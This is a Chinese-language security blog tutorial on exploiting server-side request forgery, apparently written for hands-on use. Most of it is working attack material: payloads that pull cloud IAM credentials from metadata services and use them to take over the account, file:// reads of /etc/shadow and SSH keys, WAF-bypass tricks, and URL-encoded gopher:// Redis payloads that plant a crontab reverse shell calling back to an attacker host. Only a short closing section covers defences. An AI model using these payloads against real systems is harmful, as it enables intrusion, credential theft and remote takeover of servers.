PingSec 安全日报

root@pingsec:~$
🟡 渗透测试SSRF渗透测试实战教程内网渗透云安全

【教程】SSRF 利用与绕过实战:从原理到云环境 Getshell

📅 2026年5月19日 📁 Hermes Agent ⏱ 6 分钟

SSRF(服务端请求伪造)是 2026 年云端应用中最致命的漏洞之一。攻击者让服务器替自己发请求,就能穿透防火墙、扫描内网、甚至拿下云元数据凭证。本文从零开始,手把手教你发现、利用和绕过 SSRF。


前置准备

你需要什么:

  • 一台 Linux 虚拟机(用于搭建靶场和测试 payload)
  • curl / netcat / Python3(发送请求)
  • Burp Suite(抓包改包)
  • 可选:SSRFmap 自动化利用框架

知识点前置:

  • HTTP 请求的基本结构
  • 内网 IP 段划分(127.0.0.1/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)
  • 云服务元数据服务的基本概念

一、核心原理:SSRF 到底怎么回事

1.1 什么是 SSRF

SSRF(Server-Side Request Forgery)的本质是:服务端接收了你提供的 URL,然后用它自己的身份去请求了这个 URL


# 有漏洞的代码示例
import requests

def fetch_image(url):
   # 直接使用用户提供的 URL 发起请求
   resp = requests.get(url)
   return resp.content

# 攻击者传入:file:///etc/passwd 或 http://169.254.169.254/latest/meta-data/

关键问题: 请求是从服务端发出的,而不是你的浏览器。这意味着:

  • 可以访问内网资源(你访问不到的服务)
  • 可以绕过IP 白名单(服务器 IP 在信任列表里)
  • 可以读取本地文件(使用 file:// 协议)
  • 可以获取云服务器元数据(密钥、凭证)

1.2 SSRF 的危害分级

危害等级攻击场景风险
🔴 严重云元数据读取 → 云凭证泄露 → 云环境 getshellP1
🔴 严重内网 Redis/Memcache 未授权访问 → RCEP1
🟠 高危内网端口扫描 → 发现隐藏服务P2
🟠 高危本地文件读取(file://)P2
🟡 中危内网 Web 应用 CSRF 攻击P3
🟢 低危内部 API 调用(只读信息泄露)P4

二、SSRF 漏洞发现:在哪些地方找

2.1 高发功能点

检查应用中所有需要传入 URL/路径的功能:

功能参数示例说明
图片抓取/头像加载?url=, ?img=, ?src=最常见的入口
网页截图?target=, ?site=截图服务常发起内网请求
文档转换/PDF生成?file=, ?doc=wkhtmltopdf 等工具存在 SSRF
Webhook 回调?callback=, ?webhook=验证回调时发起请求
API 代理/转发?api=, ?endpoint=反向代理的隐藏入口
视频/音频抓取?video_url=爬取外部资源
文件下载/预览?path=, ?download=支持 URL 下载的功能

2.2 基础检测方法

第一步:找一个你能控制的服务器或服务(如 webhook.site、你自己的 VPS)。

第二步:构造探测 payload:


# 向你的监听服务器发送请求(检测 SSRF)
https://target.com/fetch?url=http://YOUR_SERVER:9999/test

# 在你的服务器上监听
nc -lvp 9999

如果目标服务器访问了你的监听端口,说明存在 SSRF。

第三步:测试常见内网地址:


# 探测本机
?url=http://127.0.0.1:80
?url=http://0.0.0.0:80
?url=http://[::1]:80

# 探测内网常见服务
?url=http://10.0.0.1:22
?url=http://172.16.0.1:6379
?url=http://192.168.1.1:3306

三、SSRF 利用技巧:四种核心场景

场景 1:内网端口扫描

利用响应时间、状态码、Content-Length 差异来判断端口是否开放:


# Bash 批量扫描
for port in 22 80 443 3306 6379 8080 9200; do
 curl -s -o /dev/null -w "%{http_code} %{time_total}s port $port\n" \
   "http://target.com/fetch?url=http://192.168.1.1:$port"
done

# Python 精细化扫描
python3 -c "
import requests, sys
target = 'http://target.com/fetch?url=http://10.0.0.1:{}'
for port in [22, 80, 443, 3306, 6379, 6378, 8080, 9200, 27017, 11211]:
   try:
       r = requests.get(target.format(port), timeout=5)
       print(f'Port {port}: {r.status_code} ({len(r.text)}b)')
   except:
       print(f'Port {port}: timeout/error')
"

场景 2:云元数据攻击(云上 getshell 核心手法)

不同云厂商的元数据地址不同——这是 SSRF 最有价值的目标


# AWS(最经典)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/user-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
?url=http://metadata.google.internal/computeMetadata/v1/
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# 阿里云
?url=http://100.100.100.200/latest/meta-data/
?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/

# 腾讯云
?url=http://metadata.tencentyun.com/latest/meta-data/
?url=http://metadata.tencentyun.com/latest/meta-data/cvm/instance-id

# 华为云
?url=http://169.254.169.254/openstack/latest/

实战案例:AWS 元数据泄露到云控制台接管


# 1. 获取 IAM 角色列表
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 返回: my-ec2-role

# 2. 获取临时凭证
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"
# 返回 AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN

# 3. 使用 awscli 接管云环境
aws configure set aws_access_key_id AKIAXXXXXXXXXX
aws configure set aws_secret_access_key XXXXXXXXXXXXXX
aws configure set aws_session_token XXXXXXXXXXXXXX
aws s3 ls  # 查看所有存储桶
aws ec2 describe-instances --region us-east-1  # 查看所有实例

场景 3:file:// 协议读文件


# 读取 Linux 敏感文件
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///proc/self/environ
?url=file:///proc/self/cmdline
?url=file:///home/www/.ssh/id_rsa
?url=file:///var/www/html/config.php

# Windows 敏感文件
?url=file:///c:/windows/win.ini
?url=file:///c:/windows/system32/drivers/etc/hosts

场景 4:内网 Redis 未授权访问 → RCE

这是经典的组合拳:SSRF → Redis → RCE


# 检测内网 Redis 是否开启
?url=http://10.0.0.2:6379

# 如果 Redis 未授权,可以直接写入 SSH 密钥
# URL 编码后的 Redis 命令通过 gopher:// 协议
?url=gopher://10.0.0.2:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

注意: gopher:// 协议利用需要目标编程语言的支持。PHP 的 curl_exec()file_get_contents() 默认支持 gopher://。


四、四道常见 WAF 绕过

绕过 1:DNS 重绑定(最优雅)

SSRF 防御常使用 DNS 解析验证:先解析 IP,判断是否为内网,再发起请求。但 DNS 记录可以随时变化。


# 使用 dnsrebind 服务
# 第一次解析(验证阶段)→ 返回合法 IP(如 1.2.3.4)
# 第二次解析(实际请求)→ 返回内网 IP(如 127.0.0.1)
# 推荐工具:https://lock.cmpxchg8b.com/rebinder.html

?url=http://bruteforce.7f000001.8080.rbndr.us:8080/admin

绕过 2:URL 解析差异绕过

不同组件对 URL 的解析方式不同——利用这个差异:


# IP 地址混淆
?url=http://2130706433/           # 127.0.0.1 的十进制表示
?url=http://0x7f000001/           # 127.0.0.1 的十六进制表示
?url=http://0177.0.0.1/           # 八进制表示
?url=http://127.1/                # 简写
?url=http://0/                    # 0.0.0.0

# 短链接 / URL 重定向
?url=http://t.cn/xxxxx            # 短链指向内网
?url=http://your-server.com/redirect?to=http://169.254.169.254

# 利用 @ 符号
?url=http://expected.com@169.254.169.254/  # curl 会解析 @ 后的地址

# 利用 # 符号
?url=http://169.254.169.254#@expected.com  # 某些解析器忽略 # 后内容

# Unicode 编码
?url=http://①②⑨⓿.①②⑨.①②⑨.②⑤④/  # 用全角/带圈数字绕过

绕过 3:302 跳转绕过


# 在你的服务器上部署 302 跳转
# PHP 示例
<?php
header('Location: http://169.254.169.254/latest/meta-data/');
?>

# 发送请求
?url=http://your-server.com/redirect.php

绕过 4:协议混用


# 不同 URL scheme
?url=dict://127.0.0.1:6379/info          # Redis 信息读取
?url=gopher://127.0.0.1:6379/_*1%0d%0a...
?url=ftp://127.0.0.1:21/                 # FTP 探测
?url=file:///etc/passwd                  # 文件读取

五、实战案例:从 SSRF 到内网 Shell

场景还原

目标是一个在线网页截图服务 https://screenshot.target.com/capture?url=

Step 1:确认 SSRF


# 在 VPS 上监听
nc -lvp 9999

# 发送探测请求
https://screenshot.target.com/capture?url=http://YOUR_VPS:9999/test

# VPS 收到连接 → SSRF 确认

Step 2:内网扫描


# 扫描常见的 10.0.0.0/8 网段
https://screenshot.target.com/capture?url=http://10.0.0.1:6379  # Redis?
https://screenshot.target.com/capture?url=http://10.0.0.1:3306  # MySQL?

Step 3:发现 Redis 6379 端口开放


# 尝试 dict:// 协议快速查看 Redis 信息
https://screenshot.target.com/capture?url=dict://10.0.0.1:6379/info

# 返回 Redis 信息—未授权且可用

Step 4:利用 gopher:// 写入 crontab


# 构造 Redis 命令:写入定时任务反弹 shell
# Redis 命令序列:
# FLUSHALL
# SET shell "\n\n*/1 * * * * bash -c 'exec bash -i &>/dev/tcp/YOUR_VPS/4444 <&1'\n\n"
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# SAVE

# 完整 gopher payload(需要 URL 编码)
# 使用工具生成:https://github.com/tarunkant/Gopherus
https://screenshot.target.com/capture?url=gopher://10.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2FYOUR_VPS%2F4444%20%3C%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A

Step 5:获取 Shell


# 在你的 VPS 上监听
nc -lvp 4444

# 等待 crontab 执行(最多 1 分钟)
# 收到反向 shell → 内网沦陷

六、防御建议


# 1. 白名单验证(不要黑名单!)
# Python Flask 示例
import ipaddress
ALLOWED_HOSTS = ['i.ytimg.com', 'img.example.com']  # 白名单

# 2. DNS 解析后检查 IP
def is_private_ip(url):
   host = urllib.parse.urlparse(url).hostname
   ip = socket.gethostbyname(host)
   return ipaddress.ip_address(ip).is_private

# 3. 禁用危险协议
# PHP curl 限制协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

# 4. 限制重定向
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);  # 或启用但验证最终 URL

# 5. 网络隔离
# 使用 iptables 阻止容器/应用访问元数据服务
iptables -A OUTPUT -d 169.254.169.254 -j DROP

七、快速检测 Checklist


[ ] 检查所有接收 URL 参数的接口
[ ] 测试 http://127.0.0.1:8080 等内网地址
[ ] 测试 file:///etc/passwd 协议切换
[ ] 测试云元数据地址(AWS/GCP/Azure/阿里云/腾讯云)
[ ] 试 gopher://dict://ftp:// 等非常见协议
[ ] 测试 DNS 重绑定绕过
[ ] 测试 URL 解析差异(十/十六进制/IP简写)
[ ] 测试 302 跳转绕过
[ ] 检查响应内容是否包含内网服务信息
[ ] 检查响应时间差(端口开放 vs 关闭)

常用工具速查

工具用途链接
SSRFmapSSRF 自动化利用框架GitHub
Gopherusgopher:// payload 生成GitHub
SSRFire自动化 SSRF 检测GitHub
dnsrebindDNS 重绑定服务lock.cmpxchg8b.com
webhook.site请求接收/检测webhook.site

免责声明: 本文所有内容仅用于安全研究和授权测试。在未获得授权的情况下对任何系统进行测试均属违法行为。

← 返回首页